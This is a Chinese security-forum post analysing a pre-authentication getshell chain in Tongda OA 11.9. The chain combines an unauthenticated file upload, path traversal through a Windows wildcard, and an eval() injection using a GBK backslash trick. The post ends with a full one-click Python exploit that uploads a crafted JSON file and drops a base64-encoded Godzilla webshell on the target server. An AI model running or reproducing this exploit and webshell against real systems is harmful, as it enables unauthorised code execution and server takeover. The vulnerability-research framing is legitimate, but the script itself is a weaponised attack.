问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
通达oa11.9前台getshell漏洞分析
渗透测试
之前写的存货,现在看到网上已经公开了一大段时间,且最新版本已经另经几次更新迭代修补,算是过时的版本了,就拿出来晒晒。
通达oa11.9前台getshell ================== 前言 -- **本文所涉及漏洞均为互联网上已公开漏洞,仅用于合法合规用途,严禁用于违法违规用途。** 审计准备 ---- 通达oa下载地址:<https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe> 源码解密:SeayDzend.exe 漏洞分析 ---- ### 前台文件上传点 `/mobile/api/api.ali.php`无需登录,可以上传文件,但无法上传php等敏感类型文件 ![image-20220312175413297.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-cde0b14f027078fa2f6a4b883cb8b87d82a64a41.png) 测试上传数据包 ![image-20220312175927876.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-13920d3bd0fc9b909e4ae4882d846843bccc23a1.png) 其中`2203`目录是取的日期,而`1130028766`是随机的字符串,可以在源码中看到 ![image-20220312175632134.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-bff35533d23dae53f02fe7865422a8691766420f.png) ![image-20220312175826978.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-1e2357e80928a161c85f3fce4190e41d2ee10d1c.png) ### eval函数参数可控 `inc\package\business\AllVariableBusinessProcessing.php`文件中的`$variableData`变量由传入的`$BackData['dataAnalysis']`赋值,存在可控点 ![image-20220312181018943.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-bdd2b806f4c2be4c9285d9941c7f5649724e56fb.png) 在`inc\package\DataTransport.php`的`backData()`方法中调用了`backDataAnalysis()`方法,而在`acceptData()`方法中调用了`backData()`方法,继续看`acceptData()`方法的代码 ```php public function acceptData($id) { $json_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id . "/" . $id . ".json"; $data = $this->analysisJson($json_file); $query = "select * from file_transfer_address where system_address ='" . $data["send_url"] . "'"; $cursor = exequery(TD::conn(), $query); if ($ROW = mysql_fetch_array($cursor)) { $receive = $ROW["id"]; } if ($data["type"] == "send") { $modular = $data["modular"]; include_once "inc/package/business/" . $modular . "BusinessProcessing.php"; $BusinessProcess = $modular . "BusinessProcessing"; $BusinessProcessing = new $BusinessProcess(); $new_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id; $data["fileAddress"] = $this->getFile($id, $data["fileList"]); $new_data = json_decode($data["organizeData"], true); $new_data["fileAddress"] = $data["fileAddress"]; $new_data["send"] = $receive; $new_data["receive"] = $receive; $new_data = json_encode($new_data); $dataAnalysis = $BusinessProcessing->dataAnalysis($new_data); if ($dataAnalysis) { $runId = $data["Id"]; $query = "select * from file_transfer_address where id = '999'"; $cursor = exequery(TD::conn(), $query); if ($ROW = mysql_fetch_array($cursor)) { $send_url = $ROW["system_address"]; } $backData = array("id" => $data["id"], "type" => "back", "send_url" => $send_url, "send" => $receive, "receive" => $receive, "modular" => $modular, "dataAnalysis" => $dataAnalysis); $json_file = $this->makeJson($backData); $redis = TRedis::redis(); $message = array("json" => $json_file, "netid" => $receive); $redis->hmset("syn:send:data:" . $id, $message); $time = time(); $redis->zadd("syn:orig:list", $time, $id); } } else { $data["send"] = $receive; $data["receive"] = $receive; $this->backData($data); } return "+OK"; } ``` 重点关注这几行代码 ```php public function acceptData($id) { $json_file = MYOA_ATTACH_PATH2 . "syn/recv/data/" . $id . "/" . $id . ".json"; $data = $this->analysisJson($json_file); ...... $this->backData($data); ``` 而在`/inc/package/work.php`又调用了`acceptData()`方法,并且没有权限校验,其中`$id`直接传入到语句中,存在目录穿越,可以读取任意地方的 json 文件然后进行 json 格式解码后赋值给`$data` ![image-20221207151203866.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-9c19a17c70775d63a7ed1d08b610440e41115dd1.png) 这里就和前面的文件上传组合起来构成一条利用链,剩下的就是要构造上传的文件内容。 回到`eval()`函数点 ![image-20220312235739371.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-05086c871977f59819b09922f0c9142064f4224d.png) 重点注意这几行代码即可 ```php static public function backDataAnalysis($BackData) { $variableData = $BackData['dataAnalysis']; $variableData = json_decode($variableData, true); $variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';')); ``` 因为这是个json文件,并且在前面的`acceptData()`方法中进行了`json_decode()`,所以文件内容需要为json格式,同时为了满足跳转到`backDataAnalysis`方法,起初构造如下 ```php {"modular":"AllVariable","dataAnalysis":"{\"aaa\":\"bbb\"}"} ``` 按照源码写一个测试脚本,目的是为了debug ```php <?php $BackData = array("modular"=>"AllVariable","dataAnalysis"=>"{\"aaa\":\"bbb\"}"); var_dump($BackData); dotast($BackData); function dotast($BackData){; $variableData = $BackData['dataAnalysis']; $variableData = json_decode($variableData, true); echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';')); $variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';')); } dotast($BackData); ?> ``` 开启debug,走到`eval()`函数后,内容如图 ![image-20220313000947937.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-0afbd8af43eeaf24128e09eabdc1e420f566b805.png) 如果我们能在`bbb`处逃逸出单引号,闭合剩下的语句,就可以实现代码执行,即想实现如下代码效果 ```php <?php return array ( 'a' => 'bbb',eval(xxxx));/*', ); ``` 但我们知道即使加上了一个单引号,也会进行转义,逃逸失败 ```php <?php return array ( 'a' => 'bbb\',eval(xxxx));/*', ); ``` 如果再多出一个转义符号呢?多出的转义符会将第二个`\`进行转义,实现单引号闭合,成功逃逸。所以我们接下来需要想办法构造出一个转义符 ```php <?php return array ( 'a' => 'bbb\\',eval(xxxx));/*', ); ``` 注意看前面的代码`echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';'));`,精彩的地方在于这里使用了`iconv()`把utf-8编码转成GBK编码,我们写一个 python 自动脚本帮我们寻找哪些汉字可以在进行转换后末尾带`\`符号 ```python # -- coding:UTF-8 -- # Author:dota_st # Date:2022/3/12 20:30 # blog: www.wlhhlc.top import random def Unicode(): val = random.randint(0x4e00, 0x9fbf) return chr(val) while 1: create_s = Unicode() for i in create_s: test = i.encode('gbk') for j in test: if ascii(j) == '92': print('ok:', i) ``` ![image-20220313001942618.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-852eaced3a51f6dd7db85200cfe298fe27ca04b3.png) 使用汉字`覾`一枚,构成如下php测试脚本 ```php <?php $BackData = array("modular"=>"AllVariable","evil"=>"ZmlsZV9wdXRfY29udGVudHMoJ2RvdGFzdC5waHAnLCc8P3BocCBwaHBpbmZvKCk7Jyk7","dataAnalysis"=>"{\"aaa\":\"覾',eval(base64_decode(\$BackData[evil])));/*\"}"); var_dump($BackData); dotast($BackData); function dotast($BackData){; $variableData = $BackData['dataAnalysis']; $variableData = json_decode($variableData, true); //var_dump($variableData); echo(iconv('UTF-8', 'GBK', var_export($variableData, true) . ';')); $variableData = eval('return ' . iconv('UTF-8', 'GBK', var_export($variableData, true) . ';')); } dotast($BackData); ?> ``` debug走起,在走到`eval()`的时候,语句内容如下 ![image-20220313002644121.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-f44e4e918e890618dd59d8fce60161a4fb00a2b1.png) 成功实现逃逸,并且代码执行成功,生成 php 文件 ![image-20220313002727057.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-14055142e8444b156ef23cf4d0c162dce6b5db56.png) 组合链 --- 前面我们已经知道`/mobile/api/api.ali.php`可以上传 json 文件,而`inc\package\work.php`可以实现读取 json 文件,可以组合起来形成一条代码执行的利用链。但还有一个问题需要解决,就是上传的文件名格式如下 ![image-20220313002916266.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-34c5e5a437fbe55511cb2737fec3458472daf349.png) 前面的几位数字是随机的无法进行猜解,并且测试`?`通配符不可用,但可以利用 windows 上的一个特性 > windows系统在处理文件名的时候,`FindFirstFileExW()/FindFirstFile()`这两个API会对`< > "`这三个字符做特殊处理,效果分别对应Linux下的通配符`* ? .` 所以我们可以用`>`来代替`?`实现匹配文件,如此便可成功构造出一条前台 getshell 利用链。最后使用 python 编写一键 getshell 脚本 ```python import requests import time url = "http://192.168.1.103" shell = "ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2RvdGFzdC5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFLUUhObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2IzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0FrUkZza2FWMWVKR003Q2lBZ0lDQjlDaUFnSUNCeVpYUjFjbTRnSkVRN0NuMEtKSEJoYzNNOUozQmhjM01uT3dva2NHRjViRzloWkU1aGJXVTlKM0JoZVd4dllXUW5Pd29rYTJWNVBTY3pZelpsTUdJNFlUbGpNVFV5TWpSaEp6c0thV1lnS0dsemMyVjBLQ1JmVUU5VFZGc2tjR0Z6YzEwcEtYc0tJQ0FnSUNSa1lYUmhQV1Z1WTI5a1pTaGlZWE5sTmpSZlpHVmpiMlJsS0NSZlVFOVRWRnNrY0dGemMxMHBMQ1JyWlhrcE93b2dJQ0FnYVdZZ0tHbHpjMlYwS0NSZlUwVlRVMGxQVGxza2NHRjViRzloWkU1aGJXVmRLU2w3Q2lBZ0lDQWdJQ0FnSkhCaGVXeHZZV1E5Wlc1amIyUmxLQ1JmVTBWVFUwbFBUbHNrY0dGNWJHOWhaRTVoYldWZExDUnJaWGtwT3dvZ0lDQWdJQ0FnSUdsbUlDaHpkSEp3YjNNb0pIQmhlV3h2WVdRc0ltZGxkRUpoYzJsamMwbHVabThpS1QwOVBXWmhiSE5sS1hzS0lDQWdJQ0FnSUNBZ0lDQWdKSEJoZVd4dllXUTlaVzVqYjJSbEtDUndZWGxzYjJGa0xDUnJaWGtwT3dvZ0lDQWdJQ0FnSUgwS0NRbGxkbUZzS0NSd1lYbHNiMkZrS1RzS0lDQWdJQ0FnSUNCbFkyaHZJSE4xWW5OMGNpaHRaRFVvSkhCaGMzTXVKR3RsZVNrc01Dd3hOaWs3Q2lBZ0lDQWdJQ0FnWldOb2J5QmlZWE5sTmpSZlpXNWpiMlJsS0dWdVkyOWtaU2hBY25WdUtDUmtZWFJoS1N3a2EyVjVLU2s3Q2lBZ0lDQWdJQ0FnWldOb2J5QnpkV0p6ZEhJb2JXUTFLQ1J3WVhOekxpUnJaWGtwTERFMktUc0tJQ0FnSUgxbGJITmxld29nSUNBZ0lDQWdJR2xtSUNoemRISndiM01vSkdSaGRHRXNJbWRsZEVKaGMybGpjMGx1Wm04aUtTRTlQV1poYkhObEtYc0tJQ0FnSUNBZ0lDQWdJQ0FnSkY5VFJWTlRTVTlPV3lSd1lYbHNiMkZrVG1GdFpWMDlaVzVqYjJSbEtDUmtZWFJoTENSclpYa3BPd29nSUNBZ0lDQWdJSDBLSUNBZ0lIMEtmUW89IikpOw==" dir_path1 = time.strftime('%y%m',time.localtime(time.time())) dir_path2 = 'dotast' files = {"file":(dir_path2+".json",'{"modular":"AllVariable","dotast":"%s","dataAnalysis":"{\\"abc\\":\\"覾\',eval(base64_decode($BackData[dotast])));/*\\"}"}'%shell, "application/octet-stream")} res1 = requests.post(url+"/mobile/api/api.ali.php",files=files) for i in range(12,4,-1): dir_path0 = '>'*i source_code = requests.get(url+"/inc/package/work.php?id=../../../../../myoa/attach/approve_center/{dir_path1}/{dir_path0}.{dir_path2}".format(dir_path1=dir_path1,dir_path0=dir_path0,dir_path2=dir_path2)) if "OK" in source_code.text: print(f"\033[1;34m[*]生成哥斯拉shell: {url}/dotast.php 默认密码\033[0,") exit() ``` ![image-20220313011907201.png](https://shs3.b.qianxin.com/attack_forum/2022/12/attach-dbfed8f2dfbb53dc54cce7fe9a1d3a4d2e41879e.png) 总结 -- OA经过几轮的版本更新后,如今已难再找到前台触发的漏洞,但后台漏洞依然不少。
发表于 2022-12-09 09:00:00
阅读 ( 8858 )
分类:
漏洞分析
2 推荐
收藏
1 条评论
爱吃猫的鱼
2022-12-27 10:26
很好奇,你解密的代码之后他还能正常运行debug。怎么操作的师傅
请先
登录
后评论
请先
登录
后评论
dota_st
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!